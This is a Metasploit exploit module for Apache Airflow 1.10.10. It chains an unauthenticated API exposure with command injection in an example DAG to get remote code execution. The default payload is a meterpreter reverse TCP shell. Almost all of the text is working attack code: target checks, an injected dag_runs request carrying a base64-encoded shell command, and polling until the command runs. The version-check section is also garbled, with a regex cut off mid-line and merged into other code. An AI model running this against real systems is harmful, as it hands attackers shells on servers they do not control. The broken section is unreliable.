## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability by combining two critical vulnerabilities in Apache Airflow 1.10.10. The first, CVE-2020-11978, is an authenticated command injection vulnerability found in one of Airflow's example DAGs, "example_trigger_target_dag", which allows any authenticated user to run arbitrary OS commands as the user running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's Experimental REST API to perform malicious actions such as creating the vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation and command injection, leading to unauthenticated remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'xuxiang', # Original discovery and CVE submission 'Pepe Berba', # ExploitDB author 'Ismail E. Dawoodjee' # Metasploit module author ], 'References' => [ [ 'EDB', '49927' ], [ 'CVE', '2020-11978' ], [ 'CVE', '2020-13927' ], [ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ], [ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ], [ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ], ], 'Platform' => ['linux', 'unix'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } } ], ], 'Privileged' => false, 'DisclosureDate' => '2020-07-14', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8080, true, 'Apache Airflow webserver default port'), OptString.new('TARGETURI', [ true, 'Base path', '/' ]), OptString.new('DAG_PATH', [ true, 'Path to vulnerable example DAG', '/api/experimental/dags/example_trigger_target_dag' ]), OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120]) ] ) end def check uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login') vprint_status("Checking target web server for a response at: #{full_uri(uri)}") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.code == 200 && res.body.downcase.include?('admin') && res.body.downcase.include?('_csrf_token') && res.body.downcase.include?('sign in to airflow') return CheckCode::Unknown('Target is not running Apache Airflow.') end vprint_good('Target is running Apache Airflow.') vprint_status('Checking Apache Airflow version...') version_number = res.body.to_s.scan( %r{ 'GET', 'uri' => uri }) unless res && res.code == 200 return CheckCode::Safe('Could not access the Airflow Experimental REST API.') end vprint_good('Airflow Experimental REST API is accessible.') end def check_task uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task') vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res && res.code == 200 return CheckCode::Safe( 'Could not find "example_trigger_target_dag.bash_task". ' \ 'Target is not vulnerable to CVE-2020-11978.' ) end if res.get_json_document['env'].include?('dag_run') return CheckCode::Safe( 'The "example_trigger_target_dag.bash_task" is patched. ' \ 'Target is not vulnerable to CVE-2020-11978.' ) end vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.') end def check_unpaused uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false') vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res && res.code == 200 return CheckCode::Safe( 'Could not unpause "example_trigger_target_dag.bash_task". ' \ 'Example DAGs were not loaded.' ) end vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.') end def create_dag(cmd) cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh" uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs') vprint_status('Creating a new vulnerable DAG...') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => 'application/json', 'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } }) }) unless res && res.code == 200 fail_with(Failure::PayloadFailed, 'Failed to create DAG.') end print_good("Successfully created DAG: #{res.get_json_document['message']}") return res.get_json_document['execution_date'] end def await_execution(execution_date) uri = normalize_uri( target_uri.path, datastore['DAG_PATH'], 'dag_runs', execution_date, 'tasks', 'bash_task' ) print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...') vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.') i = 0 loop do i += 1 sleep(10) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res && res.code == 200 fail_with(Failure::Unknown, 'Bash task state cannot be determined.') end state = res.get_json_document['state'] if state == 'queued' print_status('Bash task is queued...') elsif state == 'running' print_good('Bash task is running. Expect a session if executed successfully.') break elsif state == 'success' print_good('Successfully ran Bash task. Expect a session soon.') break elsif state == 'None' print_warning('Bash task is not yet queued...') elsif state == 'scheduled' print_status('Bash task is scheduled...') else print_status("Bash task state: #{state}.") break end # stop loop when timeout next unless datastore['TIMEOUT'] <= 10 * i fail_with(Failure::TimeoutExpired, 'Bash task did not run within the specified time ' \ "- #{datastore['TIMEOUT']} seconds.") end end def exploit print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"") execution_date = create_dag(payload.encoded) await_execution(execution_date) end end